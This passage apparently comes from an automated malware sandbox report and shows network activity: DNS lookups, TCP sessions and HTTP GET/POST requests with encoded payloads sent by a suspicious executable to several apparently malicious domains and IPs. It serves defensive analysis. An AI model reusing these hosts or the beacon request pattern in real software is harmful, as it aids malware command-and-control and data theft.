                                                            Nov 29, 2024 10:20:51.627892017 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.627985954 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.628027916 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.629775047 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.629888058 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:51.629935980 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.632920980 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:51.752852917 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:57.171678066 CET4999580192.168.2.513.248.169.48
                                                            Nov 29, 2024 10:20:57.291774035 CET804999513.248.169.48192.168.2.5
                                                            Nov 29, 2024 10:20:57.291935921 CET4999580192.168.2.513.248.169.48
                                                            Nov 29, 2024 10:20:57.305640936 CET4999580192.168.2.513.248.169.48
                                                            Nov 29, 2024 10:20:57.425767899 CET804999513.248.169.48192.168.2.5
                                                            Nov 29, 2024 10:20:58.442063093 CET804999513.248.169.48192.168.2.5
                                                            Nov 29, 2024 10:20:58.442276955 CET4999580192.168.2.513.248.169.48
                                                            Nov 29, 2024 10:20:58.818443060 CET4999580192.168.2.513.248.169.48
                                                            Nov 29, 2024 10:20:58.938545942 CET804999513.248.169.48192.168.2.5
                                                            Nov 29, 2024 10:20:59.837127924 CET4999680192.168.2.513.248.169.48
                                                            Nov 29, 2024 10:20:59.957246065 CET804999613.248.169.48192.168.2.5
                                                            Nov 29, 2024 10:20:59.957392931 CET4999680192.168.2.513.248.169.48
                                                            Nov 29, 2024 10:20:59.970870972 CET4999680192.168.2.513.248.169.48
                                                            Nov 29, 2024 10:21:00.090909958 CET804999613.248.169.48192.168.2.5
                                                            Nov 29, 2024 10:21:01.150087118 CET804999613.248.169.48192.168.2.5
                                                            Nov 29, 2024 10:21:01.150258064 CET4999680192.168.2.513.248.169.48
                                                            Nov 29, 2024 10:21:01.474721909 CET4999680192.168.2.513.248.169.48
                                                            Nov 29, 2024 10:21:01.594856024 CET804999613.248.169.48192.168.2.5
                                                            Nov 29, 2024 10:21:02.492913961 CET4999780192.168.2.513.248.169.48
                                                            Nov 29, 2024 10:21:02.613272905 CET804999713.248.169.48192.168.2.5
                                                            Nov 29, 2024 10:21:02.613441944 CET4999780192.168.2.513.248.169.48
                                                            Nov 29, 2024 10:21:02.720715046 CET4999780192.168.2.513.248.169.48
                                                            Nov 29, 2024 10:21:02.840975046 CET804999713.248.169.48192.168.2.5
                                                            Nov 29, 2024 10:21:02.840990067 CET804999713.248.169.48192.168.2.5
                                                            Nov 29, 2024 10:21:03.767105103 CET804999713.248.169.48192.168.2.5
                                                            Nov 29, 2024 10:21:03.767218113 CET4999780192.168.2.513.248.169.48
                                                            Nov 29, 2024 10:21:04.240287066 CET4999780192.168.2.513.248.169.48
                                                            Nov 29, 2024 10:21:04.360797882 CET804999713.248.169.48192.168.2.5
                                                            Nov 29, 2024 10:21:05.258718967 CET4999880192.168.2.513.248.169.48
                                                            Nov 29, 2024 10:21:05.378846884 CET804999813.248.169.48192.168.2.5
                                                            Nov 29, 2024 10:21:05.379142046 CET4999880192.168.2.513.248.169.48
                                                            Nov 29, 2024 10:21:05.388109922 CET4999880192.168.2.513.248.169.48
                                                            Nov 29, 2024 10:21:05.508063078 CET804999813.248.169.48192.168.2.5
                                                            Nov 29, 2024 10:21:06.480633020 CET804999813.248.169.48192.168.2.5
                                                            Nov 29, 2024 10:21:06.480683088 CET804999813.248.169.48192.168.2.5
                                                            Nov 29, 2024 10:21:06.480823994 CET4999880192.168.2.513.248.169.48
                                                            Nov 29, 2024 10:21:06.483489990 CET4999880192.168.2.513.248.169.48
                                                            Nov 29, 2024 10:21:06.603452921 CET804999813.248.169.48192.168.2.5
                                                            Nov 29, 2024 10:21:12.019846916 CET4999980192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:12.140029907 CET8049999176.32.38.183192.168.2.5
                                                            Nov 29, 2024 10:21:12.140119076 CET4999980192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:12.154333115 CET4999980192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:12.274374008 CET8049999176.32.38.183192.168.2.5
                                                            Nov 29, 2024 10:21:13.518372059 CET8049999176.32.38.183192.168.2.5
                                                            Nov 29, 2024 10:21:13.518416882 CET8049999176.32.38.183192.168.2.5
                                                            Nov 29, 2024 10:21:13.518486023 CET4999980192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:13.662211895 CET4999980192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:14.681091070 CET5000080192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:14.801243067 CET8050000176.32.38.183192.168.2.5
                                                            Nov 29, 2024 10:21:14.801490068 CET5000080192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:14.821362972 CET5000080192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:14.941329956 CET8050000176.32.38.183192.168.2.5
                                                            Nov 29, 2024 10:21:16.224737883 CET8050000176.32.38.183192.168.2.5
                                                            Nov 29, 2024 10:21:16.224766016 CET8050000176.32.38.183192.168.2.5
                                                            Nov 29, 2024 10:21:16.224873066 CET5000080192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:16.333924055 CET5000080192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:17.352406979 CET5000180192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:17.472645044 CET8050001176.32.38.183192.168.2.5
                                                            Nov 29, 2024 10:21:17.472767115 CET5000180192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:17.485955000 CET5000180192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:17.606065989 CET8050001176.32.38.183192.168.2.5
                                                            Nov 29, 2024 10:21:17.606105089 CET8050001176.32.38.183192.168.2.5
                                                            Nov 29, 2024 10:21:18.798785925 CET8050001176.32.38.183192.168.2.5
                                                            Nov 29, 2024 10:21:18.849478006 CET5000180192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:18.919823885 CET8050001176.32.38.183192.168.2.5
                                                            Nov 29, 2024 10:21:18.920072079 CET5000180192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:18.990371943 CET5000180192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:20.008811951 CET5000280192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:20.129014969 CET8050002176.32.38.183192.168.2.5
                                                            Nov 29, 2024 10:21:20.129178047 CET5000280192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:20.139540911 CET5000280192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:20.259633064 CET8050002176.32.38.183192.168.2.5
                                                            Nov 29, 2024 10:21:21.504354954 CET8050002176.32.38.183192.168.2.5
                                                            Nov 29, 2024 10:21:21.504379034 CET8050002176.32.38.183192.168.2.5
                                                            Nov 29, 2024 10:21:21.504538059 CET5000280192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:21.507448912 CET5000280192.168.2.5176.32.38.183
                                                            Nov 29, 2024 10:21:21.627441883 CET8050002176.32.38.183192.168.2.5
                                                            Nov 29, 2024 10:21:27.011406898 CET5000380192.168.2.5203.161.43.228
                                                            Nov 29, 2024 10:21:27.132359982 CET8050003203.161.43.228192.168.2.5
                                                            Nov 29, 2024 10:21:27.132546902 CET5000380192.168.2.5203.161.43.228
                                                            Nov 29, 2024 10:21:27.145776987 CET5000380192.168.2.5203.161.43.228
                                                            Nov 29, 2024 10:21:27.265834093 CET8050003203.161.43.228192.168.2.5
                                                            Nov 29, 2024 10:21:28.368376017 CET8050003203.161.43.228192.168.2.5
                                                            Nov 29, 2024 10:21:28.368700981 CET8050003203.161.43.228192.168.2.5
                                                            Nov 29, 2024 10:21:28.368793011 CET5000380192.168.2.5203.161.43.228
                                                            Nov 29, 2024 10:21:28.662079096 CET5000380192.168.2.5203.161.43.228
                                                            Nov 29, 2024 10:21:29.680543900 CET5000480192.168.2.5203.161.43.228
                                                            Nov 29, 2024 10:21:29.800781965 CET8050004203.161.43.228192.168.2.5
                                                            Nov 29, 2024 10:21:29.801039934 CET5000480192.168.2.5203.161.43.228
                                                            Nov 29, 2024 10:21:29.814706087 CET5000480192.168.2.5203.161.43.228
                                                            Nov 29, 2024 10:21:29.935173988 CET8050004203.161.43.228192.168.2.5
                                                            Nov 29, 2024 10:21:31.127649069 CET8050004203.161.43.228192.168.2.5
                                                            Nov 29, 2024 10:21:31.127679110 CET8050004203.161.43.228192.168.2.5
                                                            Nov 29, 2024 10:21:31.127769947 CET5000480192.168.2.5203.161.43.228
                                                            Nov 29, 2024 10:21:31.318465948 CET5000480192.168.2.5203.161.43.228
                                                            Nov 29, 2024 10:21:32.345392942 CET5000580192.168.2.5203.161.43.228
                                                            Nov 29, 2024 10:21:32.466784954 CET8050005203.161.43.228192.168.2.5
                                                            Nov 29, 2024 10:21:32.466897964 CET5000580192.168.2.5203.161.43.228
                                                            Nov 29, 2024 10:21:32.566046953 CET5000580192.168.2.5203.161.43.228
                                                            Nov 29, 2024 10:21:32.686613083 CET8050005203.161.43.228192.168.2.5
                                                            Nov 29, 2024 10:21:32.686691046 CET8050005203.161.43.228192.168.2.5
                                                            Nov 29, 2024 10:21:33.743021965 CET8050005203.161.43.228192.168.2.5
                                                            Nov 29, 2024 10:21:33.743055105 CET8050005203.161.43.228192.168.2.5
                                                            Nov 29, 2024 10:21:33.743138075 CET5000580192.168.2.5203.161.43.228
                                                            Nov 29, 2024 10:21:34.068299055 CET5000580192.168.2.5203.161.43.228
                                                            Nov 29, 2024 10:21:35.368307114 CET5000680192.168.2.5203.161.43.228
                                                            Nov 29, 2024 10:21:35.488698959 CET8050006203.161.43.228192.168.2.5
                                                            Nov 29, 2024 10:21:35.488918066 CET5000680192.168.2.5203.161.43.228
                                                            Nov 29, 2024 10:21:35.497895002 CET5000680192.168.2.5203.161.43.228
                                                            Nov 29, 2024 10:21:35.618047953 CET8050006203.161.43.228192.168.2.5
                                                            Nov 29, 2024 10:21:36.714744091 CET8050006203.161.43.228192.168.2.5
                                                            Nov 29, 2024 10:21:36.714807987 CET8050006203.161.43.228192.168.2.5
                                                            Nov 29, 2024 10:21:36.714915037 CET5000680192.168.2.5203.161.43.228

                                                            UDP Packets

                                                            TimestampSource PortDest PortSource IPDest IP
                                                            Nov 29, 2024 10:19:38.330985069 CET5634053192.168.2.51.1.1.1
                                                            Nov 29, 2024 10:19:39.065145016 CET53563401.1.1.1192.168.2.5
                                                            Nov 29, 2024 10:19:55.869162083 CET4945153192.168.2.51.1.1.1
                                                            Nov 29, 2024 10:19:56.426032066 CET53494511.1.1.1192.168.2.5
                                                            Nov 29, 2024 10:20:11.009670019 CET5616053192.168.2.51.1.1.1
                                                            Nov 29, 2024 10:20:11.318941116 CET53561601.1.1.1192.168.2.5
                                                            Nov 29, 2024 10:20:25.823723078 CET5321053192.168.2.51.1.1.1
                                                            Nov 29, 2024 10:20:26.317755938 CET53532101.1.1.1192.168.2.5
                                                            Nov 29, 2024 10:20:40.728127003 CET5952053192.168.2.51.1.1.1
                                                            Nov 29, 2024 10:20:41.383256912 CET53595201.1.1.1192.168.2.5
                                                            Nov 29, 2024 10:20:56.649874926 CET5818953192.168.2.51.1.1.1
                                                            Nov 29, 2024 10:20:57.167157888 CET53581891.1.1.1192.168.2.5
                                                            Nov 29, 2024 10:21:11.494220018 CET5611953192.168.2.51.1.1.1
                                                            Nov 29, 2024 10:21:12.016089916 CET53561191.1.1.1192.168.2.5
                                                            Nov 29, 2024 10:21:26.525300980 CET5835853192.168.2.51.1.1.1
                                                            Nov 29, 2024 10:21:27.008697033 CET53583581.1.1.1192.168.2.5

                                                            DNS Queries

                                                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                            Nov 29, 2024 10:19:38.330985069 CET192.168.2.51.1.1.10x19e3Standard query (0)www.qqa79.topA (IP address)IN (0x0001)false
                                                            Nov 29, 2024 10:19:55.869162083 CET192.168.2.51.1.1.10xb088Standard query (0)www.1secondlending.oneA (IP address)IN (0x0001)false
                                                            Nov 29, 2024 10:20:11.009670019 CET192.168.2.51.1.1.10x57e6Standard query (0)www.supernutra01.onlineA (IP address)IN (0x0001)false
                                                            Nov 29, 2024 10:20:25.823723078 CET192.168.2.51.1.1.10x2eb5Standard query (0)www.wine-drinkers.clubA (IP address)IN (0x0001)false
                                                            Nov 29, 2024 10:20:40.728127003 CET192.168.2.51.1.1.10x879eStandard query (0)www.oneeyetrousersnake.xyzA (IP address)IN (0x0001)false
                                                            Nov 29, 2024 10:20:56.649874926 CET192.168.2.51.1.1.10xf968Standard query (0)www.heliopsis.xyzA (IP address)IN (0x0001)false
                                                            Nov 29, 2024 10:21:11.494220018 CET192.168.2.51.1.1.10xba28Standard query (0)www.gadget2chg.xyzA (IP address)IN (0x0001)false
                                                            Nov 29, 2024 10:21:26.525300980 CET192.168.2.51.1.1.10x4a0Standard query (0)www.smartguide.websiteA (IP address)IN (0x0001)false

                                                            DNS Answers

                                                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                            Nov 29, 2024 10:19:39.065145016 CET1.1.1.1192.168.2.50x19e3No error (0)www.qqa79.topqqa79.topCNAME (Canonical name)IN (0x0001)false
                                                            Nov 29, 2024 10:19:39.065145016 CET1.1.1.1192.168.2.50x19e3No error (0)qqa79.top38.47.233.21A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 10:19:56.426032066 CET1.1.1.1192.168.2.50xb088No error (0)www.1secondlending.one43.205.198.29A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 10:20:11.318941116 CET1.1.1.1192.168.2.50x57e6No error (0)www.supernutra01.online104.21.24.198A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 10:20:11.318941116 CET1.1.1.1192.168.2.50x57e6No error (0)www.supernutra01.online172.67.220.36A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 10:20:26.317755938 CET1.1.1.1192.168.2.50x2eb5No error (0)www.wine-drinkers.club194.245.148.189A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 10:20:41.383256912 CET1.1.1.1192.168.2.50x879eNo error (0)www.oneeyetrousersnake.xyzoneeyetrousersnake.xyzCNAME (Canonical name)IN (0x0001)false
                                                            Nov 29, 2024 10:20:41.383256912 CET1.1.1.1192.168.2.50x879eNo error (0)oneeyetrousersnake.xyz63.250.43.134A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 10:20:41.383256912 CET1.1.1.1192.168.2.50x879eNo error (0)oneeyetrousersnake.xyz63.250.43.135A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 10:20:57.167157888 CET1.1.1.1192.168.2.50xf968No error (0)www.heliopsis.xyz13.248.169.48A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 10:20:57.167157888 CET1.1.1.1192.168.2.50xf968No error (0)www.heliopsis.xyz76.223.54.146A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 10:21:12.016089916 CET1.1.1.1192.168.2.50xba28No error (0)www.gadget2chg.xyz176.32.38.183A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 10:21:27.008697033 CET1.1.1.1192.168.2.50x4a0No error (0)www.smartguide.website203.161.43.228A (IP address)IN (0x0001)false

                                                            HTTP Request Dependency Graph

                                                            • www.qqa79.top
                                                            • www.1secondlending.one
                                                            • www.supernutra01.online
                                                            • www.wine-drinkers.club
                                                            • www.oneeyetrousersnake.xyz
                                                            • www.heliopsis.xyz
                                                            • www.gadget2chg.xyz
                                                            • www.smartguide.website

                                                            HTTP Packets

                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            0192.168.2.54981938.47.233.21802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:19:39.202363014 CET446OUTGET /mz0w/?Kt=uMzU0JGK22aEYJLCyAIreKcU1rJUCkGv0SPCs66KRtTFzrJJ373CiBnwq6iLrm6CBfWGplZZf3wVkFmev9wwu6QXrK/Xrl9qjfl8Z3JafzMchDfJIPgnZnABh7b80grHXg==&ej=DjJHGh2p HTTP/1.1
                                                            Host: www.qqa79.top
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Connection: close
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Nov 29, 2024 10:19:40.826818943 CET691INHTTP/1.1 404 Not Found
                                                            Server: nginx
                                                            Date: Fri, 29 Nov 2024 09:19:40 GMT
                                                            Content-Type: text/html
                                                            Content-Length: 548
                                                            Connection: close
                                                            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                            Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            1192.168.2.54985943.205.198.29802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:19:56.562899113 CET728OUTPOST /6pwo/ HTTP/1.1
                                                            Host: www.1secondlending.one
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 203
                                                            Cache-Control: max-age=0
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Origin: http://www.1secondlending.one
                                                            Referer: http://www.1secondlending.one/6pwo/
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Data Raw: 4b 74 3d 44 65 77 72 42 73 32 6d 54 39 6c 6d 71 53 30 68 38 78 6f 2f 46 68 77 57 47 42 70 4b 5a 57 54 4e 50 78 35 6e 73 32 31 56 41 55 6b 6f 62 58 71 71 64 5a 45 48 53 51 4e 7a 6c 79 46 4d 68 37 69 6b 39 2f 4f 64 72 48 41 61 4d 6b 41 70 41 52 62 65 75 55 6e 4f 6a 32 6f 30 62 45 72 51 73 41 4d 41 75 39 32 55 4a 41 6b 6d 76 37 63 4a 50 38 4c 6a 75 6a 79 62 56 76 61 63 51 75 6c 79 67 38 63 30 36 70 59 6f 41 75 33 37 65 6e 6a 69 67 6f 50 45 5a 38 63 68 6c 49 65 57 43 4d 6b 65 55 53 58 79 73 6d 62 33 41 72 65 66 6b 56 39 78 73 78 63 4f 61 77 6a 48 68 77 45 4b 6a 4e 51 4b 73 39 6b 67 57 34 32 7a 4e 61 6f 3d
                                                            Data Ascii: Kt=DewrBs2mT9lmqS0h8xo/FhwWGBpKZWTNPx5ns21VAUkobXqqdZEHSQNzlyFMh7ik9/OdrHAaMkApARbeuUnOj2o0bErQsAMAu92UJAkmv7cJP8LjujybVvacQulyg8c06pYoAu37enjigoPEZ8chlIeWCMkeUSXysmb3ArefkV9xsxcOawjHhwEKjNQKs9kgW42zNao=
                                                            Nov 29, 2024 10:19:58.074903011 CET691INHTTP/1.1 404 Not Found
                                                            Server: nginx
                                                            Date: Fri, 29 Nov 2024 09:19:57 GMT
                                                            Content-Type: text/html
                                                            Content-Length: 548
                                                            Connection: close
                                                            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                            Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            2192.168.2.54986643.205.198.29802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:19:59.220835924 CET748OUTPOST /6pwo/ HTTP/1.1
                                                            Host: www.1secondlending.one
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 223
                                                            Cache-Control: max-age=0
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Origin: http://www.1secondlending.one
                                                            Referer: http://www.1secondlending.one/6pwo/
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Data Raw: 4b 74 3d 44 65 77 72 42 73 32 6d 54 39 6c 6d 70 78 38 68 35 53 77 2f 4e 68 77 56 4e 68 70 4b 51 32 54 4a 50 78 31 6e 73 33 67 4f 41 69 55 6f 62 31 79 71 61 63 77 48 52 51 4e 7a 78 69 46 56 76 62 69 76 39 2f 53 2f 72 47 4d 61 4d 67 6f 70 41 52 4c 65 75 6a 7a 50 69 6d 6f 4d 57 6b 72 53 7a 77 4d 41 75 39 32 55 4a 41 67 49 76 37 45 4a 4d 50 54 6a 76 47 47 59 57 76 61 66 47 2b 6c 79 6b 38 63 34 36 70 5a 48 41 71 33 42 65 6c 62 69 67 74 72 45 5a 76 45 69 73 49 66 38 47 4d 6c 58 46 51 43 56 72 67 58 6c 49 61 71 59 6b 47 38 51 67 6e 74 6b 41 53 72 76 79 51 6f 79 7a 65 59 39 39 4e 46 4a 4d 62 6d 44 54 4e 39 45 41 30 5a 6b 66 78 52 57 48 52 79 31 47 59 63 47 30 49 35 57
                                                            Data Ascii: Kt=DewrBs2mT9lmpx8h5Sw/NhwVNhpKQ2TJPx1ns3gOAiUob1yqacwHRQNzxiFVvbiv9/S/rGMaMgopARLeujzPimoMWkrSzwMAu92UJAgIv7EJMPTjvGGYWvafG+lyk8c46pZHAq3BelbigtrEZvEisIf8GMlXFQCVrgXlIaqYkG8QgntkASrvyQoyzeY99NFJMbmDTN9EA0ZkfxRWHRy1GYcG0I5W
                                                            Nov 29, 2024 10:20:00.732522964 CET691INHTTP/1.1 404 Not Found
                                                            Server: nginx
                                                            Date: Fri, 29 Nov 2024 09:20:00 GMT
                                                            Content-Type: text/html
                                                            Content-Length: 548
                                                            Connection: close
                                                            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                            Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            3192.168.2.54987343.205.198.29802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:20:01.878165960 CET1765OUTPOST /6pwo/ HTTP/1.1
                                                            Host: www.1secondlending.one
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 1239
                                                            Cache-Control: max-age=0
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Origin: http://www.1secondlending.one
                                                            Referer: http://www.1secondlending.one/6pwo/
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
